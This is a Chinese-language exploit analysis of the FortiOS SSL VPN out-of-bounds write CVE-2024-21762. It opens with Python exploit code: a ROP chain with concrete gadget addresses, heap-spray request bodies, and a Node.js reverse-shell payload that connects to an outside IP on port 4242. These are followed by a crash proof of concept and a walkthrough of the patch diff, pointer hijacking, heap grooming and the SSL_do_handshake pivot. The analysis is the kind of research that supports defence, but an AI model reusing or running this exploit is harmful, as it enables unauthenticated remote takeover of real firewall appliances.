
Fortinet FortiOS 中的 CVE-2024-21762 越界写入漏洞
Fortinet FortiOS 中的越界写入漏洞 CVE-2024-21762
ssl_do_handshake_ptr = b"%60%ce%42%00%00%00%00%00"
getcwd_ptr = b"%70%62%2c%04%00%00%00%00"
pivot_1 = b"%52%f7%fd%00%00%00%00%00" # push rdi; pop rsp; ret;
pivot_2 = b"%ac%c9%ab%02%00%00%00%00" # add rsp, 0x2a0; pop rbx; pop r12; pop rbp; ret;
rop = b""
rop += b"%c6%e2%46%00%00%00%00%00" # push rdi; pop rax; ret;
rop += b"%19%6f%4d%01%00%00%00%00" # sub rax, 0x2c8; ret;
rop += b"%8e%b2%fe%01%00%00%00%00" # add rax, 0x10; ret;
rop += b"%63%db%ae%02%00%00%00%00" # pop rcx; ret;
rop += b"%00%00%00%00%00%00%00%00" # zero rcx
rop += b"%38%ad%98%02%00%00%00%00" # or rcx, rax; setne al; movzx eax, al; ret;
rop += b"%c6%52%86%02%00%00%00%00" # shl rax, 4; add rax, rdx; ret;
rop += b"%6e%d0%3f%01%00%00%00%00" # or rdx, rcx; ret; - rdx is zero so this is a copy
rop += b"%a4%df%98%02%00%00%00%00" # sub rdx, rax; mov rax, rdx; ret;
rop += b"%f5%2c%e6%00%00%00%00%00" # sub rax, 0x10; ret;
rop += b"%e4%e6%d7%01%00%00%00%00" # add rsi, rax; mov [rdi+8], rsi; ret;
rop += b"%10%1b%0a%01%00%00%00%00" # push rax; pop rdi; add eax, 0x5d5c415b; ret;
rop += b"%25%0f%8d%02%00%00%00%00" # pop r8; ret; 0x028d0f25
rop += b"%00%00%00%00%00%00%00%00" # r8
pivot_3 = b"%e0%3f%4d%02%00%00%00%00" # add rsp, 0xd90; pop rbx; pop r12; pop rbp; ret;
call_execl = b"%80%c1%43%00%00%00%00%00"
bin_node = b"/bin/node%00"
e_flag = b"-e%00"
js_payload = b'(function(){var net%3drequire("net"),cp%3drequire("child_process"),sh%3dcp.spawn("/bin/node",["-i"]);var client%3dnew net.Socket();client.connect(4242,"192.168.1.197",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();%00'
form_value = b""
form_value += b"B"*11 + bin_node + b"B"*6 + e_flag + b"B"*14 + js_payload
form_value += b"B"*438 + pivot_2 + getcwd_ptr
form_value += b"B"*32 + pivot_1
form_value += b"B"*168 + call_execl
form_value += b"B"*432 + ssl_do_handshake_ptr
form_value += b"B"*32 + rop + pivot_3
body = (b"B"*1808 + b"=" + form_value + b"&")*20
data = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += f"Content-Length: {len(body)}\r\n".encode("utf-8")
data += b"\r\n"
data += body
ssock1 = make_sock(TARGET, PORT)
ssock1.sendall(data)
time.sleep(1)
ssock2 = make_sock(TARGET, PORT)
data = b"POST / HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += b"Transfer-Encoding: chunked\r\n"
data += b"\r\n"
data += b"0"*4137 + b"\0"
data += b"A"*1 + b"\r\n\r\n"
ssock2.sendall(data)
FortiGate 在二月份发布了版本更新,修复了多个中高危漏洞。其中严重级别的一个漏洞是 SSL VPN 中的未授权越界写入漏洞。漏洞警告指出该漏洞可能在野外被利用。本文将介绍作者对该漏洞利用过程的分析,以实现远程代码执行。

本文用于漏洞分析的环境是 FGT_VM64-v7.4.2.F-build2571
通过比较修复后的二进制版本(7.4.2 和 7.4.3),分析发现修复代码位于函数 sub_18F4980(7.4.2 版本)中。

分析该函数,不难发现其逻辑是读取 HTTP POST 请求的 body 数据。同时,根据请求头中的 Transfer-Encoding 判断是以 chunk 格式读取还是基于 Content-Length 读取。根据控制流图比较结果,有两处代码修改:
当解析 chunk 格式时,调用 ap_getline 读取 chunk 长度,并检查 ap_getline 的返回值是否大于 16。如果大于 16,则视为非法的 chunk 长度。

当读取 chunk trailer 时,写入 \r\n 的偏移来源是 line_off,修复前 line_off 的值来自 *(_QWORD *)(a1 + 744),修复后来自 ap_getline 的返回值。
继续向前追踪,可以发现 *(_QWORD *)(a1 + 744) 的值是第一次校验的 chunk 长度字段的长度。

同时,阅读代码可知,当 chunk 长度字段经过十六进制解码后的值为 0 时,会进入 chunk trailer 的读取逻辑。
分析补丁后,我们可以得出以下结论:
\r\n。\r\n 的越界写入。通过调试可以知道,目标缓冲区位于栈上 (函数 sub_1A111E0),返回地址存储在偏移 0x2028 处。如果在偏移 0x202e 处写入 \r\n,当函数返回执行恢复 rip 指令时,会因非法地址导致崩溃。Crash PoC:
pkt = b"""\
GET / HTTP/1.1
Host: %s
Transfer-Encoding: chunked
%s\r\n%s\r\n\r\n""" % (hostname.encode(), b"0"*((0x202e//2)-2), b"a")
ssock = create_ssock(hostname, port)
ssock.send(pkt)
ssock.recv(4096)
崩溃场景:

通过分析漏洞原因可以看出,该漏洞可以在栈上越界写入 \r\n 两个字节,且越界范围接近 0x2000。由于写入的内容非常有限,无法通过直接劫持 rip 实现 RCE。因此,需要关注栈上保存的内存指针。
更容易想到的是劫持 rbp,覆盖 rbp 的低字节,使 rbp 恰好指向一个可控的内存区域。当上层函数返回执行指令时,可以完全劫持 rip。然而,在验证过程中发现,即使覆盖了栈上的 rbp,也无法劫持 rsp 和 rip,程序甚至不会崩溃。继续向上回溯,找到父函数 sub_1A111E0。该函数在返回时并非通过 leave; ret 恢复 rsp,而是直接使用 add rsp, 0x18,因此无法达到预期效果。

如前节所述,函数将五个寄存器 rbx 和 r12-r15 的值保存在栈上,并在函数返回时恢复这些寄存器。继续回溯找到父函数 sub_1A26040。可以看到,r13 中保存的正是参数 a1。
a1 是一个结构体指针。通过调试,我们还可以看到栈上的 r13 保存了一个堆地址。

如果图中的红色区域被越界写入覆盖,那么当函数返回恢复 r13 寄存器时,指针的值可以被篡改。如果能够通过堆布局使 a1 指向一个预先安排好的内存区域,那么整个 a1 结构体就可以被劫持。同时,通过分析 sub_1A26040 和 sub_1A27650 的代码逻辑,存在大量对 a1 多级结构体成员的动态函数调用,因此会有更多劫持 a1 的机会。
根据假设,用 \r\n 覆盖 a1 指针的低字节后,它可能指向预先安排好的内存。如图所示:

为了实现这一效果,需要满足以下条件:
a1 结构体地址高于堆喷射区域地址,且两者之间的间隙非常小。0x7fxxxxxxx0a0d 必须指向伪造的结构体。调试可以发现,a1 结构体的大小为 0x730。根据 jemalloc 的对齐规则,会分配大小为 0x800 的堆块。0x800 的堆块在请求处理过程中并不常用,因此很容易耗尽 tcache 中的 0x800 堆块,同时申请更多新的 0x800 块,这样释放后它们会进入 tcache。堆喷射也选择不常用大小的堆块,这样新申请的堆块会连续且靠近新申请的 0x800 块;堆喷射选择使用更大的堆块,以确保其地址与 0x800 对齐,从而容易保证每个伪造结构体地址的低 12 位为 0xa0d;堆喷射范围不小于 0x10000,以确保指向堆喷射区域。劫持后的效果如下:0x7fxxxxxxx0a0d

通过上述操作,可以实现对 a1 结构体的劫持。梳理 sub_1A27650 和 sub_1A26040 函数的代码,存在许多对 a1 结构体成员的二级指针和三级指针的动态调用,例如:

当 (0<N<5) 满足条件时,会动态调用 *(_BYTE *)(a1+0x20*(N+6)+0x10)&6==0,即 *(__int64 (__fastcall **)(__int64))(*(_QWORD *)(*(_QWORD *)(a1 + 0x298)+0x70)+0xC0)(a1)。因此,需要将成员 a1 + 0x298 伪装成一个多级指针,最终指向我们想要调用的函数。由于目标二进制未启用 PIE 保护,可以在目标二进制中找到符合条件的多级指针。分析二进制可以发现,第一个指向对应函数的 GOT 表地址。


因此,以函数 system 为例,可以找到符合条件的多级指针:

在堆喷射过程中,将结构体偏移 0x298 处的值改为 0x4368d0,即可用于调用 system 函数。效果如下:

如图所示,动态调用的参数正是 a1,而 a1 指向的内存是可控的。此时,可以正常使用 system 函数执行任意命令。然而,在 FortiGate 中,/bin/sh 文件没有执行命令的能力,因此使用 system 函数执行命令无法成功执行。
由于 system 函数无法执行命令,只能寻找其他方式完成 RCE。目前具备的条件是:可以调用任意 GOT 表函数,并且函数的第一个参数指向的内存是可控的。因此,如果 GOT 表中存在某个函数会回调参数的某个成员,就有机会实现 RIP 劫持。很容易想到以往 FortiGate 漏洞利用中经常使用的函数 SSL_do_handshake。

只需要构造 SSL 结构体,使得条件满足并最终调用 s->handshake_func(s),即可实现 rip 劫持,将 rip 劫持到 0xdeadbeef,如下图所示:

FortiGate 主程序是一个大小超过 70MB 的 All-in-One 二进制文件,其中有大量可用的 gadget。使用 ROP 实现 RCE 并不困难,此处不再赘述。
尽管在 SSL VPN 7.4.2 版本中 web 模式默认关闭,浏览器访问返回 403,但该漏洞在默认配置下仍然可以被利用。

此漏洞与去年的异或堆溢出漏洞 CVE-2023-27997 类似,都属于看似无用的溢出漏洞。利用过程较为巧妙,更像是一个 CTF 题目。然而,与传统 CTF 中攻击堆管理器的题目相比,真实漏洞需要利用更多的上下文结构和代码逻辑。作者水平有限,如有错误,敬请指正。